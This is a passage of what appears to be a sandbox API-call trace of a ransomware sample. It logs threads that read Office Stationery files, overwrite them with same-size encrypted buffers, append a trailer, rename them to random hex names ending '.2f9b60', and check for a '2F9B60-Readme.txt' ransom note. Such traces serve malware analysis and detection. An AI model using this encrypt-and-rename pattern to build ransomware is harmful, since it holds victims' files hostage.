FlushFileBuffers (hFile=0x1784) returned 1 [0216.550] CloseHandle (hObject=0x1784) returned 1 [0219.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431cb1c0 [0219.491] wcscpy (in: _Dest=0x431cb1c0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0219.491] wcscat (in: _Dest=0x431cb1c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0219.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0219.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb1c0) returned 1 [0219.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b4c0) returned 1 Thread: id = 1316 os_tid = 0xe88 [0117.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm")) returned 0x20 [0117.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM", dwFileAttributes=0x20) returned 1 [0117.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0117.440] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x230ffae0 | out: lpFileSize=0x230ffae0*=483) returned 1 [0117.440] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.440] ReadFile (in: hFile=0x1720, lpBuffer=0x230ffa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x230ffaa8, lpOverlapped=0x0 | out: lpBuffer=0x230ffa60*, lpNumberOfBytesRead=0x230ffaa8*=0x4, lpOverlapped=0x0) returned 1 [0117.441] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9bb0 [0117.441] NtQuerySystemTime (in: CurrentTime=0x230ff9a0 | out: CurrentTime=0x230ff9a0*=132462177228886000) returned 0x0 [0117.441] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x611889c9 [0117.441] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x1b3916c5 [0117.441] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x2e7b8c29 [0117.441] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x3710b6a6 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x79d8d185 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x107319b6 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x38d0ba44 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x2785c1e2 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0xfdac5db [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x5a951bd1 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x669de3fa [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0xc769e7e [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x37787e2d [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x521a1e6f [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x50ca4d4c [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x1584784b [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x3f58d95a [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0xd4ef056 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x58caa9eb [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x50145021 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x62131206 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x50c3c73 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x3fdb3d05 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x2cd84be1 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x1d73adce [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x671e7c98 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x45b7cb7b [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x155fd939 [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0xcb035de [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x51ac8e7d [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x4a0713ca [0117.442] RtlRandomEx (in: Seed=0x230ff990 | out: Seed=0x230ff990) returned 0x51793ef1 [0117.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0117.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9bb0) returned 1 [0117.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc0d80 [0117.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc4990 [0117.453] ReadFile (in: hFile=0x1720, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x1e3, lpNumberOfBytesRead=0x230ff990, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x230ff990*=0x1e3, lpOverlapped=0x0) returned 1 [0117.453] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.453] WriteFile (in: hFile=0x1720, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0x1e3, lpNumberOfBytesWritten=0x230ff994, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x230ff994*=0x1e3, lpOverlapped=0x0) returned 1 [0117.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0117.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0117.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9700 [0117.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0117.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0117.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9b80 [0117.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0117.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0117.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0117.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1675e0 [0117.467] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.467] WriteFile (in: hFile=0x1720, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x230ffab0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x230ffab0*=0x10a, lpOverlapped=0x0) returned 1 [0117.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0117.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0117.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0117.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a90 [0117.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a90) returned 1 [0117.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.483] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="64") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="28") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="a3") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="a1") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="9d") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="e9") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="ac") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="ce") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="ce") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="c3") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="6f") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="6d") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="ed") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="4d") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="b9") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="69") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="b6") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="bd") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="d3") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="8d") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="06") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="bd") returned 2 [0117.484] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="6a") returned 2 [0117.484] RtlInitAnsiString (in: DestinationString=0x230ffb28, SourceString="6428a3a19de9b5accecec36f6ded4db969b6bdd38d06bd6a" | out: DestinationString="6428a3a19de9b5accecec36f6ded4db969b6bdd38d06bd6a") [0117.484] RtlAnsiStringToUnicodeString (in: DestinationString=0x230ffaf8, SourceString="6428a3a19de9b5accecec36f6ded4db969b6bdd38d06bd6a", AllocateDestinationString=1 | out: DestinationString="6428a3a19de9b5accecec36f6ded4db969b6bdd38d06bd6a") returned 0x0 [0117.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0117.484] RtlFreeAnsiString (AnsiString="6") [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1675e0) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a30) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b20) returned 1 [0117.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0117.485] wcscat (in: _Dest=0x1b7adfc0, _Source="6428a3a19de9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6428a3a19de9") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6428a3a19de9" [0117.485] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6428a3a19de9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6428a3a19de9.2f9b60" [0117.485] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6428a3a19de9.2f9b60", NtPathName=0x230ffad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6428a3a19de9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0117.485] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x230ffb70, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0117.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0117.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0117.487] NtQueryInformationFile (in: FileHandle=0x1720, IoStatusBlock=0x230ffb38, FileInformation=0x230ffb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x230ffb38, FileInformation=0x230ffb48) returned 0x0 [0117.487] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x230ffb38, FileInformation=0x230ffb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0117.488] FlushFileBuffers (hFile=0x1720) returned 1 [0117.540] CloseHandle (hObject=0x1720) returned 1 [0117.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0117.549] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0117.549] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0117.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0117.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b430) returned 1 Thread: id = 1317 os_tid = 0xe84 [0117.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif")) returned 0x20 [0117.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF", dwFileAttributes=0x20) returned 1 [0117.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0117.500] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x3bcaf7c0 | out: lpFileSize=0x3bcaf7c0*=46) returned 1 [0117.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.500] NtQuerySystemTime (in: CurrentTime=0x3bcaf680 | out: CurrentTime=0x3bcaf680*=132462177229510000) returned 0x0 [0117.500] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x41dd984c [0117.500] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0xbdb7dc5 [0117.500] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x516e60e8 [0117.500] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x68b671aa [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x4d6cf4b9 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x16b731f4 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x54f17d1f [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x201dabd6 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x51e0f667 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x60f84eb8 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x345c5381 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x2c80dc3 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x7093b0e0 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0xbc0b767 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x3e1611af [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x78de417a [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x3a29dbea [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0xfb2aa6a [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x463d2f68 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x5e645afe [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x7f42b9be [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x4873dc99 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x347fb57c [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x4977f05e [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x5d22af95 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x30a9b04b [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x14e2172 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x3f86fa4d [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x54a3b9fc [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x3d4be7f8 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x32c56cb4 [0117.501] RtlRandomEx (in: Seed=0x3bcaf670 | out: Seed=0x3bcaf670) returned 0x65ec444 [0117.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0117.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb9560 [0117.510] ReadFile (in: hFile=0x14c0, lpBuffer=0x41fb5950, nNumberOfBytesToRead=0x2e, lpNumberOfBytesRead=0x3bcaf670, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesRead=0x3bcaf670*=0x2e, lpOverlapped=0x0) returned 1 [0117.511] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.511] WriteFile (in: hFile=0x14c0, lpBuffer=0x41fb9560*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x3bcaf674, lpOverlapped=0x0 | out: lpBuffer=0x41fb9560*, lpNumberOfBytesWritten=0x3bcaf674*=0x2e, lpOverlapped=0x0) returned 1 [0117.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb9560) returned 1 [0117.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0117.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a96a0 [0117.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9dc0 [0117.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0117.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 